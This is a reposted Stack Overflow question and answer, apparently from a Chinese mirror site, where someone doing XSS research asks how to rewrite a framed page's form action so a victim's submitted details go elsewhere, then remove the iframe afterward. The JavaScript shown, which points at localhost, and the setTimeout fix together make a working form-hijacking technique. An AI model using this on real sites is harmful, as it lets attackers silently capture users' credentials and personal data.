gpt4 book ai didi

javascript - 如何在 JavaScript 中提交表单后动态关闭 iframe

转载 作者:行者123 更新时间:2023-11-28 21:02:20 25 4
gpt4 key购买 nike

作为我正在进行的一些 XSS 研究的一部分,我尝试生成一个具有更改的表单操作的 iframe,然后在受害者提交其详细信息后关闭 iframe。到目前为止我有以下代码:

<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">

该代码仍然将表单详细信息发布到 php 页面;但是,之后它无法关闭 iframe。我知道 iframe 删除代码可以工作,就好像我自己尝试它一样,它可以正常工作。因此,这要么与脚本的逻辑流程有关,要么 setAttribute 行无法正常工作。谁能告诉我我哪里出错了?谢谢!

最佳答案

可能有更好的方法来做到这一点,但我发现的解决方法是通过 setTimeout() 暂停 deleteIframe 函数。我发现只要 5 毫秒就足以成功发布表单详细信息:)

function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}

function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}

非常感谢杰森的家长提示!

关于javascript - 如何在 JavaScript 中提交表单后动态关闭 iframe,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10651709/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com